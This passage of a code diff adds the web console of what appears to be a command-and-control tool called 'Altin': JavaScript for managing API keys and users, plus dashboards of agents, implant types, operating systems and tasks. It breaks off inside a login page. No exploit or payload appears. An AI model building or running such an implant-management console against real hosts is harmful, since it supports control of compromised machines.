if (!confirm('Delete this key?')) return;
|
||||||
|
try {
|
||||||
|
const response = await apiFetch('/api/keys', {
|
||||||
|
method: 'DELETE',
|
||||||
|
body: JSON.stringify({ id }),
|
||||||
|
});
|
||||||
|
if (!response.ok && response.status !== 204) {
|
||||||
|
const payload = await response.json().catch(() => ({}));
|
||||||
|
throw new Error(payload.message || 'Unable to delete key.');
|
||||||
|
}
|
||||||
|
state.revealedKeys.delete(id);
|
||||||
|
await loadKeys();
|
||||||
|
} catch (error) {
|
||||||
|
setMessage(error.message || 'Unable to delete key.', 'error');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const copyKey = async (id) => {
|
||||||
|
const key = state.keys.find((entry) => entry.id === id);
|
||||||
|
if (!key) return;
|
||||||
|
try {
|
||||||
|
await navigator.clipboard.writeText(key.key);
|
||||||
|
// Show a temporary confirmation
|
||||||
|
const button = document.querySelector(`[data-key-action="copy"][data-key-id="${escapeHTML(id)}"]`);
|
||||||
|
if (button) {
|
||||||
|
const originalText = button.textContent;
|
||||||
|
button.textContent = 'Copied!';
|
||||||
|
setTimeout(() => {
|
||||||
|
button.textContent = originalText;
|
||||||
|
}, 2000);
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Failed to copy key:', error);
|
||||||
|
// Fallback for older browsers or secure context issues
|
||||||
|
const textArea = document.createElement('textarea');
|
||||||
|
textArea.value = key.key;
|
||||||
|
document.body.appendChild(textArea);
|
||||||
|
textArea.select();
|
||||||
|
try {
|
||||||
|
document.execCommand('copy');
|
||||||
|
const button = document.querySelector(`[data-key-action="copy"][data-key-id="${escapeHTML(id)}"]`);
|
||||||
|
if (button) {
|
||||||
|
const originalText = button.textContent;
|
||||||
|
button.textContent = 'Copied!';
|
||||||
|
setTimeout(() => {
|
||||||
|
button.textContent = originalText;
|
||||||
|
}, 2000);
|
||||||
|
}
|
||||||
|
} catch (fallbackError) {
|
||||||
|
console.error('Fallback copy also failed:', fallbackError);
|
||||||
|
}
|
||||||
|
document.body.removeChild(textArea);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const initializeTheme = () => {
|
||||||
|
setTheme(getTheme());
|
||||||
|
els.themeToggle.addEventListener('click', () => {
|
||||||
|
setTheme(getTheme() === 'dark' ? 'light' : 'dark');
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const initializeLogout = () => {
|
||||||
|
els.logoutButton.addEventListener('click', () => {
|
||||||
|
localStorage.removeItem(STORAGE_KEYS.token);
|
||||||
|
redirectToLogin();
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const initializeHandlers = () => {
|
||||||
|
els.keySearch.addEventListener('input', (event) => {
|
||||||
|
state.search = event.target.value;
|
||||||
|
renderTable();
|
||||||
|
});
|
||||||
|
|
||||||
|
els.refreshKeysButton.addEventListener('click', loadKeys);
|
||||||
|
els.createKeyButton.addEventListener('click', () => openModal());
|
||||||
|
els.closeKeyModalButton.addEventListener('click', closeModal);
|
||||||
|
els.cancelKeyModalButton.addEventListener('click', closeModal);
|
||||||
|
els.keyModal.addEventListener('click', (event) => {
|
||||||
|
if (event.target === els.keyModal) closeModal();
|
||||||
|
});
|
||||||
|
els.saveKeyButton.addEventListener('click', saveKey);
|
||||||
|
|
||||||
|
els.keysTableBody.addEventListener('click', (event) => {
|
||||||
|
const button = event.target.closest('[data-key-action]');
|
||||||
|
if (!button) return;
|
||||||
|
const id = button.dataset.keyId;
|
||||||
|
const key = state.keys.find((entry) => entry.id === id);
|
||||||
|
if (!key) return;
|
||||||
|
|
||||||
|
switch (button.dataset.keyAction) {
|
||||||
|
case 'toggle':
|
||||||
|
if (state.revealedKeys.has(id)) state.revealedKeys.delete(id); else state.revealedKeys.add(id);
|
||||||
|
renderTable();
|
||||||
|
break;
|
||||||
|
case 'copy':
|
||||||
|
copyKey(id);
|
||||||
|
break;
|
||||||
|
case 'edit':
|
||||||
|
openModal(key);
|
||||||
|
break;
|
||||||
|
case 'delete':
|
||||||
|
deleteKey(id);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const cacheElements = () => {
|
||||||
|
els.themeToggle = document.getElementById('themeToggle');
|
||||||
|
els.logoutButton = document.getElementById('logoutButton');
|
||||||
|
els.serverChip = document.getElementById('serverChip');
|
||||||
|
els.refreshKeysButton = document.getElementById('refreshKeysButton');
|
||||||
|
els.createKeyButton = document.getElementById('createKeyButton');
|
||||||
|
els.keySearch = document.getElementById('keySearch');
|
||||||
|
els.keysCount = document.getElementById('keysCount');
|
||||||
|
els.keysTableBody = document.getElementById('keysTableBody');
|
||||||
|
els.keyModal = document.getElementById('keyModal');
|
||||||
|
els.closeKeyModalButton = document.getElementById('closeKeyModalButton');
|
||||||
|
els.cancelKeyModalButton = document.getElementById('cancelKeyModalButton');
|
||||||
|
els.keyModalTitle = document.getElementById('keyModalTitle');
|
||||||
|
els.keyModalMessage = document.getElementById('keyModalMessage');
|
||||||
|
els.keyName = document.getElementById('keyName');
|
||||||
|
els.keyValue = document.getElementById('keyValue');
|
||||||
|
els.saveKeyButton = document.getElementById('saveKeyButton');
|
||||||
|
};
|
||||||
|
|
||||||
|
const main = async () => {
|
||||||
|
if (!requireAuth()) return;
|
||||||
|
cacheElements();
|
||||||
|
initializeTheme();
|
||||||
|
initializeLogout();
|
||||||
|
initializeHandlers();
|
||||||
|
renderServer();
|
||||||
|
try {
|
||||||
|
await loadKeys();
|
||||||
|
} catch (error) {
|
||||||
|
setMessage(error.message || 'Unable to load keys.', 'error');
|
||||||
|
els.keysTableBody.innerHTML = '<tr><td colspan="4"><div class="empty-state">Unable to load keys.</div></td></tr>';
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
document.addEventListener('DOMContentLoaded', main);
|
||||||
|
})();
|
||||||
324
webui/assets/js/users.js
Normal file
324
webui/assets/js/users.js
Normal file
@ -0,0 +1,324 @@
|
|||||||
|
(() => {
|
||||||
|
const STORAGE_KEYS = {
|
||||||
|
theme: 'altin.theme',
|
||||||
|
token: 'altin.token',
|
||||||
|
serverUrl: 'altin.serverUrl',
|
||||||
|
};
|
||||||
|
|
||||||
|
const state = {
|
||||||
|
serverUrl: '',
|
||||||
|
token: '',
|
||||||
|
users: [],
|
||||||
|
search: '',
|
||||||
|
editingUser: null,
|
||||||
|
};
|
||||||
|
|
||||||
|
const els = {};
|
||||||
|
|
||||||
|
const normalizeServer = (value) => value.trim().replace(/\/+$/, '');
|
||||||
|
const escapeHTML = (value) => String(value ?? '')
|
||||||
|
.replace(/&/g, '&')
|
||||||
|
.replace(/</g, '<')
|
||||||
|
.replace(/>/g, '>')
|
||||||
|
.replace(/"/g, '"')
|
||||||
|
.replace(/'/g, ''');
|
||||||
|
|
||||||
|
const setTheme = (theme) => {
|
||||||
|
const nextTheme = theme === 'light' ? 'light' : 'dark';
|
||||||
|
document.documentElement.setAttribute('data-theme', nextTheme);
|
||||||
|
localStorage.setItem(STORAGE_KEYS.theme, nextTheme);
|
||||||
|
if (els.themeToggle) {
|
||||||
|
els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark';
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark';
|
||||||
|
|
||||||
|
const redirectToLogin = () => {
|
||||||
|
window.location.href = '/login.html';
|
||||||
|
};
|
||||||
|
|
||||||
|
const requireAuth = () => {
|
||||||
|
const token = localStorage.getItem(STORAGE_KEYS.token);
|
||||||
|
const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl);
|
||||||
|
|
||||||
|
if (!token || !serverUrl) {
|
||||||
|
redirectToLogin();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
state.token = token;
|
||||||
|
state.serverUrl = normalizeServer(serverUrl);
|
||||||
|
|
||||||
|
try {
|
||||||
|
const payloadPart = token.split('.')[1] || '';
|
||||||
|
const base64 = payloadPart.replace(/-/g, '+').replace(/_/g, '/');
|
||||||
|
const padded = base64 + '='.repeat((4 - (base64.length % 4 || 4)) % 4);
|
||||||
|
const payload = JSON.parse(atob(padded));
|
||||||
|
if (!payload.admin) {
|
||||||
|
window.location.href = '/index.html';
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
window.location.href = '/index.html';
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
};
|
||||||
|
|
||||||
|
const apiFetch = async (path, options = {}) => {
|
||||||
|
const headers = new Headers(options.headers || {});
|
||||||
|
headers.set('Authorization', state.token);
|
||||||
|
|
||||||
|
if (options.body && !headers.has('Content-Type')) {
|
||||||
|
headers.set('Content-Type', 'application/json');
|
||||||
|
}
|
||||||
|
|
||||||
|
const response = await fetch(`${state.serverUrl}${path}`, {
|
||||||
|
...options,
|
||||||
|
headers,
|
||||||
|
});
|
||||||
|
|
||||||
|
if (response.status === 401) {
|
||||||
|
redirectToLogin();
|
||||||
|
throw new Error('Unauthorized');
|
||||||
|
}
|
||||||
|
|
||||||
|
return response;
|
||||||
|
};
|
||||||
|
|
||||||
|
const loadJSON = async (path) => {
|
||||||
|
const response = await apiFetch(path);
|
||||||
|
const payload = await response.json().catch(() => ({}));
|
||||||
|
if (!response.ok) {
|
||||||
|
throw new Error(payload.message || `Request failed for ${path}`);
|
||||||
|
}
|
||||||
|
return payload;
|
||||||
|
};
|
||||||
|
|
||||||
|
const setMessage = (message, tone = '') => {
|
||||||
|
if (!els.userModalMessage) return;
|
||||||
|
els.userModalMessage.textContent = message;
|
||||||
|
els.userModalMessage.dataset.tone = tone;
|
||||||
|
};
|
||||||
|
|
||||||
|
const renderServer = () => {
|
||||||
|
if (els.serverChip) {
|
||||||
|
els.serverChip.textContent = state.serverUrl.replace(/^https?:\/\//, '');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const renderTable = () => {
|
||||||
|
const query = state.search.trim().toLowerCase();
|
||||||
|
const users = state.users.filter((user) => {
|
||||||
|
if (!query) return true;
|
||||||
|
return [user.id, user.username].some((value) => String(value || '').toLowerCase().includes(query));
|
||||||
|
});
|
||||||
|
|
||||||
|
els.usersCount.textContent = `${users.length} total`;
|
||||||
|
|
||||||
|
if (!users.length) {
|
||||||
|
els.usersTableBody.innerHTML = '<tr><td colspan="4"><div class="empty-state">No users match the current search.</div></td></tr>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
els.usersTableBody.innerHTML = users.map((user) => `
|
||||||
|
<tr>
|
||||||
|
<td>${escapeHTML(user.id)}</td>
|
||||||
|
<td>${escapeHTML(user.username)}</td>
|
||||||
|
<td>${user.admin ? '<span class="admin-chip">Admin</span>' : '<span class="user-chip">User</span>'}</td>
|
||||||
|
<td>
|
||||||
|
<div class="table-actions">
|
||||||
|
<button class="button-secondary" type="button" data-user-action="edit" data-user-id="${escapeHTML(user.id)}">Edit</button>
|
||||||
|
<button class="button" type="button" data-user-action="delete" data-user-id="${escapeHTML(user.id)}">Delete</button>
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
`).join('');
|
||||||
|
};
|
||||||
|
|
||||||
|
const loadUsers = async () => {
|
||||||
|
const payload = await loadJSON('/api/users');
|
||||||
|
state.users = payload.users || [];
|
||||||
|
state.users.sort((a, b) => (a.username || '').localeCompare(b.username || '', undefined, { sensitivity: 'base' }));
|
||||||
|
renderTable();
|
||||||
|
};
|
||||||
|
|
||||||
|
const openModal = (user = null) => {
|
||||||
|
state.editingUser = user;
|
||||||
|
els.userModal.classList.add('is-open');
|
||||||
|
els.userModal.classList.remove('hidden');
|
||||||
|
els.userModal.setAttribute('aria-hidden', 'false');
|
||||||
|
els.userModalTitle.textContent = user ? 'Edit user' : 'Create user';
|
||||||
|
els.saveUserButton.textContent = user ? 'Update user' : 'Save user';
|
||||||
|
els.userName.value = user?.username || '';
|
||||||
|
els.userPassword.value = '';
|
||||||
|
els.userAdmin.checked = Boolean(user?.admin);
|
||||||
|
setMessage('');
|
||||||
|
els.userName.focus();
|
||||||
|
};
|
||||||
|
|
||||||
|
const closeModal = () => {
|
||||||
|
els.userModal.classList.remove('is-open');
|
||||||
|
els.userModal.classList.add('hidden');
|
||||||
|
els.userModal.setAttribute('aria-hidden', 'true');
|
||||||
|
state.editingUser = null;
|
||||||
|
setMessage('');
|
||||||
|
};
|
||||||
|
|
||||||
|
const saveUser = async () => {
|
||||||
|
const username = els.userName.value.trim();
|
||||||
|
const password = els.userPassword.value;
|
||||||
|
const admin = els.userAdmin.checked;
|
||||||
|
|
||||||
|
if (!username) {
|
||||||
|
setMessage('Username is required.', 'error');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
setMessage(state.editingUser ? 'Updating user…' : 'Creating user…');
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (state.editingUser) {
|
||||||
|
if (username !== state.editingUser.username) {
|
||||||
|
const response = await apiFetch('/api/users', {
|
||||||
|
method: 'PATCH',
|
||||||
|
body: JSON.stringify({ id: state.editingUser.id, username }),
|
||||||
|
});
|
||||||
|
if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to update user.');
|
||||||
|
}
|
||||||
|
if (password) {
|
||||||
|
const response = await apiFetch('/api/users', {
|
||||||
|
method: 'PATCH',
|
||||||
|
body: JSON.stringify({ id: state.editingUser.id, password }),
|
||||||
|
});
|
||||||
|
if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to update user.');
|
||||||
|
}
|
||||||
|
if (admin !== Boolean(state.editingUser.admin)) {
|
||||||
|
const response = await apiFetch('/api/users', {
|
||||||
|
method: 'PATCH',
|
||||||
|
body: JSON.stringify({ id: state.editingUser.id, admin }),
|
||||||
|
});
|
||||||
|
if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to update user.');
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if (!password) {
|
||||||
|
setMessage('Password is required.', 'error');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const response = await apiFetch('/api/users', {
|
||||||
|
method: 'POST',
|
||||||
|
body: JSON.stringify({ username, password, admin }),
|
||||||
|
});
|
||||||
|
if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to create user.');
|
||||||
|
}
|
||||||
|
|
||||||
|
await loadUsers();
|
||||||
|
closeModal();
|
||||||
|
} catch (error) {
|
||||||
|
setMessage(error.message || 'Unable to save user.', 'error');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const deleteUser = async (id) => {
|
||||||
|
if (!confirm('Delete this user?')) return;
|
||||||
|
try {
|
||||||
|
const response = await apiFetch('/api/users', {
|
||||||
|
method: 'DELETE',
|
||||||
|
body: JSON.stringify({ id }),
|
||||||
|
});
|
||||||
|
if (!response.ok && response.status !== 204) {
|
||||||
|
const payload = await response.json().catch(() => ({}));
|
||||||
|
throw new Error(payload.message || 'Unable to delete user.');
|
||||||
|
}
|
||||||
|
await loadUsers();
|
||||||
|
} catch (error) {
|
||||||
|
setMessage(error.message || 'Unable to delete user.', 'error');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const initializeTheme = () => {
|
||||||
|
setTheme(getTheme());
|
||||||
|
els.themeToggle.addEventListener('click', () => {
|
||||||
|
setTheme(getTheme() === 'dark' ? 'light' : 'dark');
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const initializeLogout = () => {
|
||||||
|
els.logoutButton.addEventListener('click', () => {
|
||||||
|
localStorage.removeItem(STORAGE_KEYS.token);
|
||||||
|
redirectToLogin();
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const initializeHandlers = () => {
|
||||||
|
els.userSearch.addEventListener('input', (event) => {
|
||||||
|
state.search = event.target.value;
|
||||||
|
renderTable();
|
||||||
|
});
|
||||||
|
|
||||||
|
els.refreshUsersButton.addEventListener('click', loadUsers);
|
||||||
|
els.createUserButton.addEventListener('click', () => openModal());
|
||||||
|
els.closeUserModalButton.addEventListener('click', closeModal);
|
||||||
|
els.cancelUserModalButton.addEventListener('click', closeModal);
|
||||||
|
els.userModal.addEventListener('click', (event) => {
|
||||||
|
if (event.target === els.userModal) closeModal();
|
||||||
|
});
|
||||||
|
els.saveUserButton.addEventListener('click', saveUser);
|
||||||
|
|
||||||
|
els.usersTableBody.addEventListener('click', (event) => {
|
||||||
|
const button = event.target.closest('[data-user-action]');
|
||||||
|
if (!button) return;
|
||||||
|
const id = button.dataset.userId;
|
||||||
|
const user = state.users.find((entry) => entry.id === id);
|
||||||
|
if (!user) return;
|
||||||
|
|
||||||
|
switch (button.dataset.userAction) {
|
||||||
|
case 'edit':
|
||||||
|
openModal(user);
|
||||||
|
break;
|
||||||
|
case 'delete':
|
||||||
|
deleteUser(id);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const cacheElements = () => {
|
||||||
|
els.themeToggle = document.getElementById('themeToggle');
|
||||||
|
els.logoutButton = document.getElementById('logoutButton');
|
||||||
|
els.serverChip = document.getElementById('serverChip');
|
||||||
|
els.refreshUsersButton = document.getElementById('refreshUsersButton');
|
||||||
|
els.createUserButton = document.getElementById('createUserButton');
|
||||||
|
els.userSearch = document.getElementById('userSearch');
|
||||||
|
els.usersCount = document.getElementById('usersCount');
|
||||||
|
els.usersTableBody = document.getElementById('usersTableBody');
|
||||||
|
els.userModal = document.getElementById('userModal');
|
||||||
|
els.closeUserModalButton = document.getElementById('closeUserModalButton');
|
||||||
|
els.cancelUserModalButton = document.getElementById('cancelUserModalButton');
|
||||||
|
els.userModalTitle = document.getElementById('userModalTitle');
|
||||||
|
els.userModalMessage = document.getElementById('userModalMessage');
|
||||||
|
els.userName = document.getElementById('userName');
|
||||||
|
els.userPassword = document.getElementById('userPassword');
|
||||||
|
els.userAdmin = document.getElementById('userAdmin');
|
||||||
|
els.saveUserButton = document.getElementById('saveUserButton');
|
||||||
|
};
|
||||||
|
|
||||||
|
const main = async () => {
|
||||||
|
if (!requireAuth()) return;
|
||||||
|
cacheElements();
|
||||||
|
initializeTheme();
|
||||||
|
initializeLogout();
|
||||||
|
initializeHandlers();
|
||||||
|
renderServer();
|
||||||
|
try {
|
||||||
|
await loadUsers();
|
||||||
|
} catch (error) {
|
||||||
|
setMessage(error.message || 'Unable to load users.', 'error');
|
||||||
|
els.usersTableBody.innerHTML = '<tr><td colspan="4"><div class="empty-state">Unable to load users.</div></td></tr>';
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
document.addEventListener('DOMContentLoaded', main);
|
||||||
|
})();
|
||||||
142
webui/index.html
Normal file
142
webui/index.html
Normal file
@ -0,0 +1,142 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>Altin | Overview</title>
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="/assets/css/main.css">
|
||||||
|
<link rel="stylesheet" href="/assets/css/home.css">
|
||||||
|
<script defer src="/assets/js/app.js"></script>
|
||||||
|
</head>
|
||||||
|
<body class="app-page">
|
||||||
|
<div class="app-layout">
|
||||||
|
<aside class="sidebar">
|
||||||
|
<div class="brand-block">
|
||||||
|
<div class="brand-name">Altin</div>
|
||||||
|
<div class="brand-subtitle">Management console</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="sidebar-section">
|
||||||
|
<nav class="nav-list" aria-label="Primary">
|
||||||
|
<a class="nav-item is-active" href="/index.html">
|
||||||
|
<span>Overview</span>
|
||||||
|
</a>
|
||||||
|
<a class="nav-item" href="/agents.html">
|
||||||
|
<span>Agents</span>
|
||||||
|
</a>
|
||||||
|
<a class="nav-item" href="/keys.html">
|
||||||
|
<span>Keys</span>
|
||||||
|
</a>
|
||||||
|
<a class="nav-item" href="/users.html">
|
||||||
|
<span>Users</span>
|
||||||
|
</a>
|
||||||
|
</nav>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="sidebar-footer">
|
||||||
|
<div class="sidebar-info">
|
||||||
|
<strong>Session</strong><br>
|
||||||
|
<span id="serverChip">loading…</span>
|
||||||
|
</div>
|
||||||
|
<button class="button-secondary" id="themeToggle" type="button">Theme</button>
|
||||||
|
<button class="button" id="logoutButton" type="button">Logout</button>
|
||||||
|
</div>
|
||||||
|
</aside>
|
||||||
|
|
||||||
|
<main class="main-shell">
|
||||||
|
<header class="page-header">
|
||||||
|
<div>
|
||||||
|
<div class="page-title">Overview</div>
|
||||||
|
<div class="page-error" id="pageError" role="status" aria-live="polite"></div>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<section class="metric-grid" aria-label="Summary metrics">
|
||||||
|
<article class="metric-card">
|
||||||
|
<div class="metric-label">Agents</div>
|
||||||
|
<div class="metric-value" id="metricAgents">0</div>
|
||||||
|
<!-- <div class="metric-note" id="metricAgentsNote">0 registered agents</div> -->
|
||||||
|
</article>
|
||||||
|
<article class="metric-card">
|
||||||
|
<div class="metric-label">Active</div>
|
||||||
|
<div class="metric-value" id="metricActive">0</div>
|
||||||
|
<!-- <div class="metric-note" id="metricActiveNote">0 active agents</div> -->
|
||||||
|
</article>
|
||||||
|
<article class="metric-card">
|
||||||
|
<div class="metric-label">Inactive</div>
|
||||||
|
<div class="metric-value" id="metricInactive">0</div>
|
||||||
|
<!-- <div class="metric-note" id="metricInactiveNote">0 inactive agents</div> -->
|
||||||
|
</article>
|
||||||
|
<article class="metric-card">
|
||||||
|
<div class="metric-label">Total tasks</div>
|
||||||
|
<div class="metric-value" id="metricTasks">0</div>
|
||||||
|
<!-- <div class="metric-note" id="metricTasksNote">0 tasks in total</div> -->
|
||||||
|
</article>
|
||||||
|
<article class="metric-card">
|
||||||
|
<div class="metric-label">Sent tasks</div>
|
||||||
|
<div class="metric-value" id="metricSent">0</div>
|
||||||
|
<!-- <div class="metric-note" id="metricSentNote">0 tasks already sent</div> -->
|
||||||
|
</article>
|
||||||
|
<article class="metric-card">
|
||||||
|
<div class="metric-label">Completed tasks</div>
|
||||||
|
<div class="metric-value" id="metricCompleted">0</div>
|
||||||
|
<!-- <div class="metric-note" id="metricCompletedNote">0 tasks completed</div> -->
|
||||||
|
</article>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="dashboard-grid">
|
||||||
|
<article class="panel">
|
||||||
|
<div class="panel-header">
|
||||||
|
<div>
|
||||||
|
<div class="panel-title">Implant types</div>
|
||||||
|
<div class="panel-subtitle" id="chartSubtitle">agents by implant type</div>
|
||||||
|
</div>
|
||||||
|
<span class="status-chip"><span id="chartTotal">0</span> agents</span>
|
||||||
|
</div>
|
||||||
|
<div class="chart-wrap">
|
||||||
|
<div class="chart-box">
|
||||||
|
<canvas id="chartCanvas"></canvas>
|
||||||
|
<div class="chart-center">
|
||||||
|
<strong id="chartTotalCenter">0</strong>
|
||||||
|
<span>Total</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="legend-list" id="legendList"></div>
|
||||||
|
</div>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="panel">
|
||||||
|
<div class="panel-header">
|
||||||
|
<div>
|
||||||
|
<div class="panel-title">Operating systems</div>
|
||||||
|
<div class="panel-subtitle" id="osChartSubtitle">agents by operating system</div>
|
||||||
|
</div>
|
||||||
|
<span class="status-chip"><span id="osChartTotal">0</span> agents</span>
|
||||||
|
</div>
|
||||||
|
<div class="chart-wrap">
|
||||||
|
<div class="chart-box">
|
||||||
|
<canvas id="osChartCanvas"></canvas>
|
||||||
|
<div class="chart-center">
|
||||||
|
<strong id="osChartTotalCenter">0</strong>
|
||||||
|
<span>Total</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="legend-list" id="osLegendList"></div>
|
||||||
|
</div>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="panel">
|
||||||
|
<div class="panel-header">
|
||||||
|
<div>
|
||||||
|
<div class="panel-title">Recent agents</div>
|
||||||
|
<div class="panel-subtitle">Most recent check-ins</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="recent-list" id="recentList"></div>
|
||||||
|
</article>
|
||||||
|
</section>
|
||||||
|
</main>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
116
webui/keys.html
Normal file
116
webui/keys.html
Normal file
@ -0,0 +1,116 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>Altin | Keys</title>
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="/assets/css/main.css">
|
||||||
|
<link rel="stylesheet" href="/assets/css/home.css">
|
||||||
|
<script defer src="/assets/js/keys.js"></script>
|
||||||
|
</head>
|
||||||
|
<body class="app-page">
|
||||||
|
<div class="app-layout">
|
||||||
|
<aside class="sidebar">
|
||||||
|
<div class="brand-block">
|
||||||
|
<div class="brand-name">Altin</div>
|
||||||
|
<div class="brand-subtitle">Management console</div>
|
||||||
|
</div>
|
||||||
|
<div class="sidebar-section">
|
||||||
|
<nav class="nav-list" aria-label="Primary">
|
||||||
|
<a class="nav-item" href="/index.html"><span>Overview</span></a>
|
||||||
|
<a class="nav-item" href="/agents.html"><span>Agents</span></a>
|
||||||
|
<a class="nav-item is-active" href="/keys.html"><span>Keys</span></a>
|
||||||
|
<a class="nav-item" href="/users.html"><span>Users</span></a>
|
||||||
|
</nav>
|
||||||
|
</div>
|
||||||
|
<div class="sidebar-footer">
|
||||||
|
<div class="sidebar-info">
|
||||||
|
<strong>Session</strong><br>
|
||||||
|
<span id="serverChip">loading…</span>
|
||||||
|
</div>
|
||||||
|
<button class="button-secondary" id="themeToggle" type="button">Theme</button>
|
||||||
|
<button class="button" id="logoutButton" type="button">Logout</button>
|
||||||
|
</div>
|
||||||
|
</aside>
|
||||||
|
|
||||||
|
<main class="main-shell">
|
||||||
|
<header class="page-header page-header-spaced">
|
||||||
|
<div>
|
||||||
|
<div class="page-title">Keys</div>
|
||||||
|
</div>
|
||||||
|
<div class="topbar-actions">
|
||||||
|
<button class="button-secondary" id="refreshKeysButton" type="button">Refresh</button>
|
||||||
|
<button class="button" id="createKeyButton" type="button">Create key</button>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<section class="page-section">
|
||||||
|
<section class="agents-toolbar panel">
|
||||||
|
<div class="filter-grid keys-filter-grid">
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="keySearch">Search</label>
|
||||||
|
<input class="input" id="keySearch" type="search" placeholder="Name, key ID, or key text">
|
||||||
|
</div>
|
||||||
|
<div class="selection-bar keys-summary">
|
||||||
|
<div>
|
||||||
|
<span class="selection-label">Keys</span>
|
||||||
|
<div class="selection-count" id="keysCount">0 total</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="panel agents-table-panel">
|
||||||
|
<div class="table-wrap">
|
||||||
|
<table class="data-table">
|
||||||
|
<thead>
|
||||||
|
<tr>
|
||||||
|
<th>ID</th>
|
||||||
|
<th>Name</th>
|
||||||
|
<th>Key</th>
|
||||||
|
<th>Actions</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody id="keysTableBody"></tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</section>
|
||||||
|
</main>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-backdrop hidden" id="keyModal" aria-hidden="true">
|
||||||
|
<div class="modal-card card" role="dialog" aria-modal="true" aria-labelledby="keyModalTitle">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div>
|
||||||
|
<h2 id="keyModalTitle">Create key</h2>
|
||||||
|
<p>Create or replace a key.</p>
|
||||||
|
</div>
|
||||||
|
<button class="icon-button" id="closeKeyModalButton" type="button">✕</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-layout single-column">
|
||||||
|
<section class="modal-panel">
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="keyName">Name</label>
|
||||||
|
<input class="input" id="keyName" type="text" placeholder="Key name">
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="keyValue">Key</label>
|
||||||
|
<input class="input" id="keyValue" type="text" placeholder="Key value">
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-footer">
|
||||||
|
<div class="modal-message" id="keyModalMessage"></div>
|
||||||
|
<div class="modal-actions-inline">
|
||||||
|
<button class="button-secondary" id="cancelKeyModalButton" type="button">Cancel</button>
|
||||||
|
<button class="button" id="saveKeyButton" type="button">Save key</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
59
webui/login.html
Normal file
59
webui/login.html
Normal file
@ -0,0 +1,59 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>Altin | Login</title>
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="/assets/css/main.css">
|
